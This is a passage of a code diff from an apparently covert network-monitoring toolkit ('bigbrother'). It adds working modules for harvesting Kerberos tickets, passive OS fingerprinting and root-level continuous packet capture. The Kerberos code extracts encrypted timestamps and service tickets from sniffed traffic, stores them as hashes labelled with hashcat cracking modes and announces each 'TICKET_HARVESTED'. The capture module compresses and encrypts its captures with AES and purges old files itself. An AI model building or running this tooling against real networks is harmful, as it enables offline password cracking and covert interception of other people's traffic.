spn = ""
etype = 0
cipher_hex = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 2: # sname (PrincipalName)
spn = self._extract_principal_name(ctx_data)
elif ctx_num == 3: # enc-part (EncryptedData)
etype, cipher_hex = self._extract_encrypted_data(ctx_data)
pos = next_pos + length
return spn, etype, cipher_hex
def _extract_padata_enc_timestamp(self, data: bytes) -> tuple:
"""Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return "", 0
pos = seq_offset
while pos < len(data) - 2:
# Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] }
if data[pos] != 0x30:
break
pa_len, pa_off = self._asn1_length(data, pos + 1)
if pa_len < 0:
break
pa_data = data[pa_off:pa_off + pa_len]
pa_type = 0
pa_value = b""
inner_pos = 0
while inner_pos < len(pa_data) - 2:
ctx_tag = pa_data[inner_pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
il, ip = self._asn1_length(pa_data, inner_pos + 1)
if il < 0:
break
if ctx_num == 1: # padata-type
pa_type = self._read_integer(pa_data[ip:ip + il])
elif ctx_num == 2: # padata-value
pa_value = pa_data[ip:ip + il]
inner_pos = ip + il
if pa_type == 2 and pa_value: # PA-ENC-TIMESTAMP
etype, cipher = self._extract_encrypted_data(pa_value)
if cipher:
return cipher, etype
pos = pa_off + pa_len
return "", 0
def _extract_req_body_info(self, data: bytes) -> tuple:
"""Extract realm and cname from KDC-REQ-BODY. Returns (realm, username)."""
seq_offset = self._enter_sequence(data, 0)
if seq_offset < 0:
return "", ""
realm = ""
username = ""
pos = seq_offset
while pos < len(data) - 2:
ctx_tag = data[pos]
if ctx_tag & 0xC0 != 0xA0:
break
ctx_num = ctx_tag & 0x1F
length, next_pos = self._asn1_length(data, pos + 1)
if length < 0:
break
ctx_data = data[next_pos:next_pos + length]
if ctx_num == 1: # cname
username = self._extract_principal_name(ctx_data)
elif ctx_num == 2: # realm
realm = self._read_string(ctx_data)
pos = next_pos + length
return realm, username
def _read_integer(self, data: bytes) -> int:
"""Read an ASN.1 INTEGER value."""
if len(data) < 2:
return 0
tag = data[0]
if tag != 0x02:
return 0
length, offset = self._asn1_length(data, 1)
if length < 0 or offset + length > len(data):
return 0
return int.from_bytes(data[offset:offset + length], "big", signed=True)
# ------------------------------------------------------------------
# Ticket emission
# ------------------------------------------------------------------
def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str,
realm: str, username: str, spn: str,
ticket_type: str, hashcat_mode: int,
hash_value: str) -> None:
self._total_tickets += 1
record = (ts, client_ip, dc_ip, realm, username, spn,
ticket_type, hashcat_mode, hash_value)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
self.bus.emit("TICKET_HARVESTED", {
"source_ip": client_ip,
"dc_ip": dc_ip,
"realm": realm,
"username": username,
"spn": spn,
"ticket_type": ticket_type,
"hashcat_mode": hashcat_mode,
}, source_module=self.name)
logger.info(
"TICKET: %s %s@%s -> %s (hashcat -m %d)",
ticket_type, username, realm, dc_ip, hashcat_mode,
)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Kerberos flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO kerberos_tickets "
"(timestamp, source_ip, dc_ip, realm, username, spn, "
"ticket_type, hashcat_mode, hash_value) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d kerberos tickets", len(batch))
+622
View File
@@ -0,0 +1,622 @@
#!/usr/bin/env python3
"""Passive OS fingerprinting via p0f-style TCP analysis and protocol headers.
Analyzes:
- TCP SYN/SYN-ACK: TTL, window size, DF flag, MSS, SACK, TCP timestamps
- HTTP User-Agent headers
- DHCP vendor class identifiers
- SMB dialect negotiation
- SSH version strings
Multiple signal sources produce confidence scoring per host. Results are
merged with the hosts table from host_discovery.
"""
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.passive.os_fingerprint")
# p0f-style TCP signature database (built-in fallback)
# Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version)
TCP_SIG_DB = [
# Linux signatures
{"ttl": (64, 64), "df": True, "window": (5720, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "Linux", "os_version": "2.6+"},
# Windows signatures
{"ttl": (128, 128), "df": True, "window": (8192, 65535), "mss": (1360, 1460),
"sack": True, "ts": False, "os_family": "Windows", "os_version": "7/10/Server"},
{"ttl": (128, 128), "df": True, "window": (8192, 8192), "mss": (1360, 1460),
"sack": True, "ts": False, "os_family": "Windows", "os_version": "XP/2003"},
# macOS / iOS
{"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "macOS", "os_version": "10.x+"},
# FreeBSD
{"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460),
"sack": True, "ts": True, "os_family": "FreeBSD", "os_version": ""},
# Cisco IOS
{"ttl": (255, 255), "df": False, "window": (4128, 4128), "mss": (536, 536),
"sack": False, "ts": False, "os_family": "Cisco", "os_version": "IOS"},
# Solaris
{"ttl": (255, 255), "df": False, "window": (49232, 49232), "mss": (1360, 1460),
"sack": False, "ts": True, "os_family": "Solaris", "os_version": "10+"},
]
# HTTP User-Agent patterns
UA_PATTERNS = [
(re.compile(r"Windows NT 10\.0"), "Windows", "10/11"),
(re.compile(r"Windows NT 6\.3"), "Windows", "8.1"),
(re.compile(r"Windows NT 6\.2"), "Windows", "8"),
(re.compile(r"Windows NT 6\.1"), "Windows", "7"),
(re.compile(r"Windows NT 5\.1"), "Windows", "XP"),
(re.compile(r"Mac OS X (\d+[._]\d+)"), "macOS", ""),
(re.compile(r"Linux"), "Linux", ""),
(re.compile(r"Ubuntu"), "Linux", "Ubuntu"),
(re.compile(r"Android (\d+)"), "Android", ""),
(re.compile(r"iPhone OS (\d+)"), "iOS", ""),
(re.compile(r"iPad.*OS (\d+)"), "iPadOS", ""),
(re.compile(r"CrOS"), "ChromeOS", ""),
]
class OSFingerprint(BaseModule):
"""Passive OS fingerprinting via TCP/protocol analysis."""
name = "os_fingerprint"
module_type = "passive"
priority = 150
requires_root = True
BATCH_SIZE = 200
FLUSH_INTERVAL = 120
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_fingerprints = 0
# Per-IP confidence tracker: ip -> {os_family: {method: confidence}}
self._ip_os_scores = {}
self._scores_lock = threading.Lock()
# External signature database
self._os_sigs = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("OSFingerprint requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
self._db_path = os.path.join(base_dir, "os_fingerprints.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Load external OS signatures
sigs_path = self.config.get("os_sigs_db", "")
if sigs_path and os.path.isfile(sigs_path):
self._load_os_sigs(sigs_path)
# Subscribe to SYN packets + HTTP/SMB/SSH for protocol fingerprinting
# Using a broad filter; the module parses selectively
bpf = "tcp[tcpflags] & (tcp-syn) != 0"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf, queue_depth=8000
)
# Second subscription for application-layer fingerprints
# We use a broader capture for HTTP/SMB/SSH — but since capture_bus
# only supports one subscription per module name, we parse app-layer
# from the same stream by also checking non-SYN packets that match
# We subscribe with an empty filter to get everything and filter in code
# Actually, let's keep SYN filter and add a second subscriber
self._capture_bus.unsubscribe(self.name)
self._sub_queue = self._capture_bus.subscribe(
name=self.name,
bpf_filter="tcp", # All TCP — we filter SYN and app-layer in code
queue_depth=10000,
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="bb-osfp-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="bb-osfp-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("OSFingerprint started — passive TCP/protocol analysis")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("OSFingerprint stopped — %d fingerprints collected", self._total_fingerprints)
def status(self) -> dict:
with self._scores_lock:
unique_hosts = len(self._ip_os_scores)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_fingerprints": self._total_fingerprints,
"unique_hosts": unique_hosts,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS os_fingerprints (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip TEXT NOT NULL,
method TEXT NOT NULL,
signature TEXT,
os_family TEXT,
os_version TEXT,
confidence REAL,
timestamp REAL NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_osfp_ip ON os_fingerprints(ip);
CREATE INDEX IF NOT EXISTS idx_osfp_family ON os_fingerprints(os_family);
""")
self._db_conn.commit()
def _load_os_sigs(self, path: str) -> None:
"""Load OS signature database from SQLite."""
try:
conn = sqlite3.connect(path)
rows = conn.execute(
"SELECT ttl, window, df, mss, sack, timestamps, os_family, os_version "
"FROM signatures"
).fetchall()
for row in rows:
self._os_sigs.append({
"ttl": (row[0], row[0]),
"window": (row[1], row[1]),
"df": bool(row[2]),
"mss": (row[3], row[3]),
"sack": bool(row[4]),
"ts": bool(row[5]),
"os_family": row[6],
"os_version": row[7] or "",
})
conn.close()
logger.info("Loaded %d OS signatures from %s", len(self._os_sigs), path)
except Exception:
logger.warning("Failed to load OS signatures from %s", path)
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100:
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
if ip_proto != 6:
return
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
ip_ttl = ip_hdr[8]
ip_flags = struct.unpack("!H", ip_hdr[6:8])[0]
df_flag = bool(ip_flags & 0x4000)
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
tcp_hdr = raw[tcp_offset:]
src_port, dst_port = struct.unpack("!HH", tcp_hdr[:4])
tcp_flags = tcp_hdr[13]
window = struct.unpack("!H", tcp_hdr[14:16])[0]
tcp_hdr_len = ((tcp_hdr[12] >> 4) & 0xF) * 4
syn = bool(tcp_flags & 0x02)
ack = bool(tcp_flags & 0x10)
# SYN or SYN-ACK — do TCP fingerprinting
if syn:
self._fingerprint_tcp_syn(
ts, src_ip, ip_ttl, df_flag, window,
tcp_hdr[:tcp_hdr_len], syn_ack=ack,
)
# Application-layer fingerprinting for non-SYN packets with payload
if not syn:
payload = raw[tcp_offset + tcp_hdr_len:]
if payload:
if src_port == 80 or dst_port == 80 or src_port == 8080 or dst_port == 8080:
self._fingerprint_http(ts, src_ip, dst_ip, src_port, payload)
elif src_port == 22 or dst_port == 22:
self._fingerprint_ssh(ts, src_ip, src_port, payload)
elif src_port == 445 or dst_port == 445:
self._fingerprint_smb(ts, src_ip, src_port, payload)
# ------------------------------------------------------------------
# TCP SYN fingerprinting (p0f-style)
# ------------------------------------------------------------------
def _fingerprint_tcp_syn(self, ts: float, ip: str, ttl: int,
df: bool, window: int, tcp_header: bytes,
syn_ack: bool = False) -> None:
"""Analyze TCP SYN/SYN-ACK options for OS fingerprinting."""
# Parse TCP options
mss = 0
has_sack = False
has_timestamps = False
wscale = 0
if len(tcp_header) > 20:
opt_offset = 20
while opt_offset < len(tcp_header):
opt_kind = tcp_header[opt_offset]
if opt_kind == 0: # End of options
break
if opt_kind == 1: # NOP
opt_offset += 1
continue
if opt_offset + 1 >= len(tcp_header):
break
opt_len = tcp_header[opt_offset + 1]
if opt_len < 2 or opt_offset + opt_len > len(tcp_header):
break
if opt_kind == 2 and opt_len == 4: # MSS
mss = struct.unpack("!H", tcp_header[opt_offset + 2:opt_offset + 4])[0]
elif opt_kind == 3 and opt_len == 3: # Window Scale
wscale = tcp_header[opt_offset + 2]
elif opt_kind == 4: # SACK Permitted
has_sack = True
elif opt_kind == 8: # Timestamps
has_timestamps = True
opt_offset += opt_len
# Normalize TTL to nearest power-of-2 boundary
initial_ttl = self._normalize_ttl(ttl)
# Build signature string
sig = f"ttl:{initial_ttl}:win:{window}:mss:{mss}:df:{int(df)}:sack:{int(has_sack)}:ts:{int(has_timestamps)}:wscale:{wscale}"
# Match against signature database
os_family, os_version, confidence = self._match_tcp_signature(
initial_ttl, window, df, mss, has_sack, has_timestamps,
)
if os_family:
method = "tcp_syn_ack" if syn_ack else "tcp_syn"
self._record_fingerprint(ts, ip, method, sig, os_family, os_version, confidence)
def _match_tcp_signature(self, ttl: int, window: int, df: bool,
mss: int, sack: bool, timestamps: bool) -> tuple:
"""Match TCP parameters against signature database."""
best_match = ("", "", 0.0)
best_score = 0
sig_sources = self._os_sigs if self._os_sigs else TCP_SIG_DB
for sig in sig_sources:
score = 0
total = 6
ttl_lo, ttl_hi = sig["ttl"]
if ttl_lo <= ttl <= ttl_hi:
score += 2 # TTL is weighted higher
win_lo, win_hi = sig["window"]
if win_lo <= window <= win_hi:
score += 1
if sig["df"] == df:
score += 1
mss_lo, mss_hi = sig["mss"]
if mss_lo <= mss <= mss_hi:
score += 1
if sig["sack"] == sack:
score += 0.5
if sig["ts"] == timestamps:
score += 0.5
if score > best_score:
best_score = score
confidence = score / total
best_match = (sig["os_family"], sig["os_version"], confidence)
return best_match
@staticmethod
def _normalize_ttl(ttl: int) -> int:
"""Estimate initial TTL from observed TTL."""
if ttl <= 32:
return 32
elif ttl <= 64:
return 64
elif ttl <= 128:
return 128
else:
return 255
# ------------------------------------------------------------------
# Application-layer fingerprinting
# ------------------------------------------------------------------
def _fingerprint_http(self, ts: float, src_ip: str, dst_ip: str,
src_port: int, payload: bytes) -> None:
"""Extract OS info from HTTP User-Agent headers."""
try:
text = payload[:4096].decode("utf-8", errors="ignore")
except Exception:
return
ua_match = re.search(r"User-Agent:\s*(.+?)(?:\r\n|\n)", text, re.IGNORECASE)
if not ua_match:
return
ua = ua_match.group(1).strip()
# The User-Agent is from the client (request sender)
# If src_port is ephemeral (>1024), this is a client
if src_port > 1024:
fp_ip = src_ip
else:
fp_ip = dst_ip
for pattern, os_family, os_version in UA_PATTERNS:
m = pattern.search(ua)
if m:
version = os_version
if not version and m.lastindex:
version = m.group(1).replace("_", ".")
self._record_fingerprint(
ts, fp_ip, "http_ua", ua[:200],
os_family, version, 0.7,
)
break
def _fingerprint_ssh(self, ts: float, ip: str, src_port: int,
payload: bytes) -> None:
"""Extract OS info from SSH version string."""
try:
text = payload[:256].decode("ascii", errors="ignore")
except Exception:
return
if not text.startswith("SSH-"):
return
# SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
version_str = text.strip()
# The SSH server sends its banner — src_port should be 22
fp_ip = ip if src_port == 22 else ip
os_family = ""
os_version = ""
if "Ubuntu" in version_str:
os_family = "Linux"
os_version = "Ubuntu"
elif "Debian" in version_str:
os_family = "Linux"
os_version = "Debian"
elif "FreeBSD" in version_str:
os_family = "FreeBSD"
elif "OpenSSH" in version_str:
# Generic OpenSSH — likely Linux or BSD
os_family = "Linux/BSD"
if os_family:
self._record_fingerprint(
ts, fp_ip, "ssh_banner", version_str[:200],
os_family, os_version, 0.8,
)
def _fingerprint_smb(self, ts: float, ip: str, src_port: int,
payload: bytes) -> None:
"""Extract OS info from SMB negotiate response."""
# SMB2 header: 0xFE 'S' 'M' 'B'
if len(payload) < 68:
return
# Look for SMB2 header
smb2_offset = payload.find(b"\xfeSMB")
if smb2_offset < 0:
# Try SMB1
smb1_offset = payload.find(b"\xffSMB")
if smb1_offset >= 0 and src_port == 445:
self._record_fingerprint(
ts, ip, "smb_dialect", "SMB1",
"Windows", "XP/2003 or Samba", 0.5,
)
return
# SMB2 negotiate response from server (src_port 445)
if src_port != 445:
return
smb2_data = payload[smb2_offset:]
if len(smb2_data) < 68:
return
# SMB2 header is 64 bytes, then negotiate response
# Dialect at offset 4-5 of negotiate response (after 64-byte header)
neg_response = smb2_data[64:]
if len(neg_response) < 6:
return
# struct_size(2) + security_mode(2) + dialect_revision(2)
dialect = struct.unpack("<H", neg_response[4:6])[0]
dialect_map = {
0x0202: ("Windows", "Vista/2008 or Samba"),
0x0210: ("Windows", "7/2008R2"),
0x0300: ("Windows", "8/2012"),
0x0302: ("Windows", "8.1/2012R2"),
0x0311: ("Windows", "10/2016+"),
}
if dialect in dialect_map:
os_family, os_version = dialect_map[dialect]
self._record_fingerprint(
ts, ip, "smb_dialect", f"SMB{dialect:#06x}",
os_family, os_version, 0.75,
)
# ------------------------------------------------------------------
# Record management
# ------------------------------------------------------------------
def _record_fingerprint(self, ts: float, ip: str, method: str,
signature: str, os_family: str,
os_version: str, confidence: float) -> None:
"""Record an OS fingerprint observation."""
self._total_fingerprints += 1
# Update per-IP confidence scoring
with self._scores_lock:
if ip not in self._ip_os_scores:
self._ip_os_scores[ip] = {}
scores = self._ip_os_scores[ip]
if os_family not in scores:
scores[os_family] = {}
scores[os_family][method] = confidence
record = (ip, method, signature[:500], os_family, os_version, confidence, ts)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
def get_best_guess(self, ip: str) -> dict:
"""Get the highest-confidence OS guess for an IP."""
with self._scores_lock:
scores = self._ip_os_scores.get(ip, {})
if not scores:
return {"os_family": "", "confidence": 0.0}
# Aggregate confidence per OS family
best_family = ""
best_conf = 0.0
for os_family, methods in scores.items():
# Average confidence across methods, boosted by method count
avg_conf = sum(methods.values()) / len(methods)
method_bonus = min(len(methods) * 0.1, 0.3) # Up to 30% bonus
total_conf = min(avg_conf + method_bonus, 1.0)
if total_conf > best_conf:
best_conf = total_conf
best_family = os_family
return {"os_family": best_family, "confidence": round(best_conf, 2)}
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("OS fingerprint flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO os_fingerprints "
"(ip, method, signature, os_family, os_version, confidence, timestamp) "
"VALUES (?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d OS fingerprints", len(batch))
+372
View File
@@ -0,0 +1,372 @@
#!/usr/bin/env python3
"""Full packet capture via tcpdump with post-rotation compression and encryption.
Manages tcpdump as a supervised subprocess. After each PCAP rotation:
1. Compress with zstd (level configurable per platform)
2. Encrypt with AES-256-GCM
3. Remove plaintext PCAP
4. Publish PCAP_ROTATED event
Disk monitoring auto-purges oldest encrypted PCAPs at 85% threshold.
"""
import glob
import logging
import os
import shutil
import signal
import struct
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.passive.packet_capture")
class PacketCapture(BaseModule):
"""Manage tcpdump for continuous full packet capture with rotation."""
name = "packet_capture"
module_type = "passive"
priority = 50
requires_root = True
# Defaults
DEFAULT_INTERFACE = "eth0"
DEFAULT_SNAP_LEN = 65535
DEFAULT_ROTATION_SECS = 3600
DEFAULT_MAX_FILES = 168 # 7 days at 1h rotation
DEFAULT_COMPRESSION_LEVEL = 3
DEFAULT_DISK_THRESHOLD = 85 # percent
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._watcher_thread: Optional[threading.Thread] = None
self._rotation_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
self._pcap_dir = ""
self._pcap_count = 0
self._bytes_written = 0
self._encryption_key = b""
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
iface = self.config.get("interface", self.DEFAULT_INTERFACE)
snap_len = self.config.get("snap_length", self.DEFAULT_SNAP_LEN)
rotation = self.config.get("rotation_minutes", 60) * 60
if rotation <= 0:
rotation = self.DEFAULT_ROTATION_SECS
compress_level = self.config.get("compression_level", self.DEFAULT_COMPRESSION_LEVEL)
disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD)
# Directories
base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother"))
self._pcap_dir = os.path.join(base_dir, "pcaps")
Path(self._pcap_dir).mkdir(parents=True, exist_ok=True)
# Encryption key from config (derived by crypto module at startup)
self._encryption_key = self.config.get("encryption_key", b"")
if isinstance(self._encryption_key, str):
self._encryption_key = self._encryption_key.encode()
# Build tcpdump command
pcap_template = os.path.join(self._pcap_dir, "capture_%Y%m%d_%H%M%S.pcap")
cmd = [
"tcpdump",
"-i", iface,
"-G", str(rotation),
"-s", str(snap_len),
"-w", pcap_template,
"--time-stamp-precision=nano",
"-Z", "root", # don't drop privs (we need to read output files)
]
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
preexec_fn=os.setsid,
)
except FileNotFoundError:
logger.error("tcpdump binary not found")
return
except Exception as e:
logger.error("Failed to start tcpdump: %s", e)
return
self._running = True
self._pid = self._proc.pid
self._start_time = time.time()
# Watcher thread — monitors tcpdump stderr and detects crashes
self._watcher_thread = threading.Thread(
target=self._watch_tcpdump, daemon=True, name="bb-pcap-watch"
)
self._watcher_thread.start()
# Rotation thread — scans for completed PCAPs to compress/encrypt
self._rotation_thread = threading.Thread(
target=self._rotation_loop,
args=(compress_level, disk_threshold),
daemon=True, name="bb-pcap-rotate",
)
self._rotation_thread.start()
self.state.set_module_status(self.name, "running", pid=self._proc.pid)
logger.info(
"PacketCapture started — tcpdump PID %d, iface=%s, rotation=%ds, snap=%d",
self._proc.pid, iface, rotation, snap_len,
)
def stop(self) -> None:
if not self._running:
return
self._running = False
# Graceful shutdown of tcpdump
if self._proc and self._proc.poll() is None:
try:
os.killpg(os.getpgid(self._proc.pid), signal.SIGTERM)
except (OSError, ProcessLookupError):
pass
try:
self._proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
try:
os.killpg(os.getpgid(self._proc.pid), signal.SIGKILL)
self._proc.wait(timeout=2.0)
except Exception:
pass
self._proc = None
self._pid = None
self.state.set_module_status(self.name, "stopped")
logger.info("PacketCapture stopped — %d PCAPs rotated", self._pcap_count)
def status(self) -> dict:
alive = self._proc is not None and self._proc.poll() is None
return {
"running": alive,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"pcap_dir": self._pcap_dir,
"pcap_count": self._pcap_count,
"bytes_written": self._bytes_written,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# Live reconfig requires restart
if self._running:
logger.info("PacketCapture config changed — restarting tcpdump")
self.stop()
self.start()
# ------------------------------------------------------------------
# tcpdump watcher
# ------------------------------------------------------------------
def _watch_tcpdump(self) -> None:
"""Read tcpdump stderr for stats and detect exit."""
try:
for line in iter(self._proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").rstrip()
if decoded:
logger.debug("tcpdump: %s", decoded)
except Exception:
pass
# tcpdump exited
if self._running:
rc = self._proc.poll() if self._proc else -1
logger.warning("tcpdump exited unexpectedly (rc=%s)", rc)
self.bus.emit("TOOL_CRASHED", {
"tool": "tcpdump", "exit_code": rc,
}, source_module=self.name)
# ------------------------------------------------------------------
# Rotation loop — compress, encrypt, purge
# ------------------------------------------------------------------
def _rotation_loop(self, compress_level: int, disk_threshold: int) -> None:
"""Periodically scan for completed PCAPs and process them."""
while self._running:
time.sleep(30) # Check every 30 seconds
try:
self._process_completed_pcaps(compress_level)
self._check_disk_usage(disk_threshold)
except Exception:
logger.exception("Rotation loop error")
def _process_completed_pcaps(self, compress_level: int) -> None:
"""Find completed (not actively written) PCAPs and compress+encrypt."""
pattern = os.path.join(self._pcap_dir, "capture_*.pcap")
pcap_files = sorted(glob.glob(pattern))
for pcap_path in pcap_files:
# Skip the file tcpdump is currently writing to (most recent)
if self._is_file_locked(pcap_path):
continue
# Skip tiny files (likely incomplete)
try:
size = os.path.getsize(pcap_path)
if size < 24: # pcap global header minimum
continue
except OSError:
continue
compressed_path = pcap_path + ".zst"
encrypted_path = compressed_path + ".enc"
try:
# Step 1: Compress with zstd
self._compress_zstd(pcap_path, compressed_path, compress_level)
# Step 2: Encrypt with AES-256-GCM
if self._encryption_key:
self._encrypt_file(compressed_path, encrypted_path)
os.unlink(compressed_path)
final_path = encrypted_path
else:
final_path = compressed_path
# Step 3: Remove plaintext PCAP
os.unlink(pcap_path)
self._pcap_count += 1
final_size = os.path.getsize(final_path)
self._bytes_written += final_size
# Publish rotation event
self.bus.emit("PCAP_ROTATED", {
"path": final_path,
"original_size": size,
"final_size": final_size,
"compressed": True,
"encrypted": bool(self._encryption_key),
}, source_module=self.name)
logger.info(
"PCAP rotated: %s -> %s (%.1f%% ratio)",
os.path.basename(pcap_path),
os.path.basename(final_path),
(final_size / size * 100) if size > 0 else 0,
)
except Exception:
logger.exception("Failed to process PCAP %s", pcap_path)
@staticmethod
def _is_file_locked(path: str) -> bool:
"""Check if a file is still being written by tcpdump (via fuser)."""
try:
result = subprocess.run(
["fuser", path], capture_output=True, timeout=2
)
return result.returncode == 0
except Exception:
# If fuser not available, check if file was modified in last 5 seconds
try:
mtime = os.path.getmtime(path)
return (time.time() - mtime) < 5
except OSError:
return True
@staticmethod
def _compress_zstd(src: str, dst: str, level: int) -> None:
"""Compress a file with zstd."""
try:
import zstandard as zstd
cctx = zstd.ZstdCompressor(level=level)
with open(src, "rb") as fin, open(dst, "wb") as fout:
cctx.copy_stream(fin, fout)
except ImportError:
# Fallback to CLI zstd
subprocess.run(
["zstd", f"-{level}", "-f", "-o", dst, src],
check=True, capture_output=True,
)
def _encrypt_file(self, src: str, dst: str) -> None:
"""Encrypt a file with AES-256-GCM."""
try:
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
except ImportError:
logger.warning("cryptography not available — skipping encryption")
os.rename(src, dst)
return
key = self._encryption_key[:32].ljust(32, b"\x00")
nonce = os.urandom(12)
aesgcm = AESGCM(key)
with open(src, "rb") as f:
plaintext = f.read()
ciphertext = aesgcm.encrypt(nonce, plaintext, None)
with open(dst, "wb") as f:
# Header: magic(4) + nonce(12) + ciphertext
f.write(b"BB01")
f.write(nonce)
f.write(ciphertext)
def _check_disk_usage(self, threshold: int) -> None:
"""Auto-purge oldest encrypted PCAPs when disk usage exceeds threshold."""
try:
usage = shutil.disk_usage(self._pcap_dir)
pct = (usage.used / usage.total) * 100
except OSError:
return
if pct < threshold:
return
logger.warning("Disk usage %.1f%% exceeds threshold %d%% — purging oldest PCAPs", pct, threshold)
# Gather all encrypted/compressed PCAPs sorted by mtime
enc_files = sorted(
glob.glob(os.path.join(self._pcap_dir, "capture_*.pcap.zst*")),
key=os.path.getmtime,
)
purged = 0
for path in enc_files:
if not enc_files:
break
try:
os.unlink(path)
purged += 1
except OSError:
continue
# Re-check usage
try:
usage = shutil.disk_usage(self._pcap_dir)
if (usage.used / usage.total) * 100 < threshold - 5:
break
except OSError:
break
if purged:
logger.info("Purged %d old PCAPs to reclaim disk space", purged)
self.bus.emit("RESOURCE_WARNING", {
"type": "disk_purge",
"purged_count": purged,
"disk_pct": pct,
}, source_module=self.name)
+435
View File
@@ -0,0 +1,435 @@
#!/usr/bin/env python3
"""Passive TLS SNI extraction from ClientHello messages.
Subscribes to capture_bus with BPF "tcp port 443". Parses TLS ClientHello
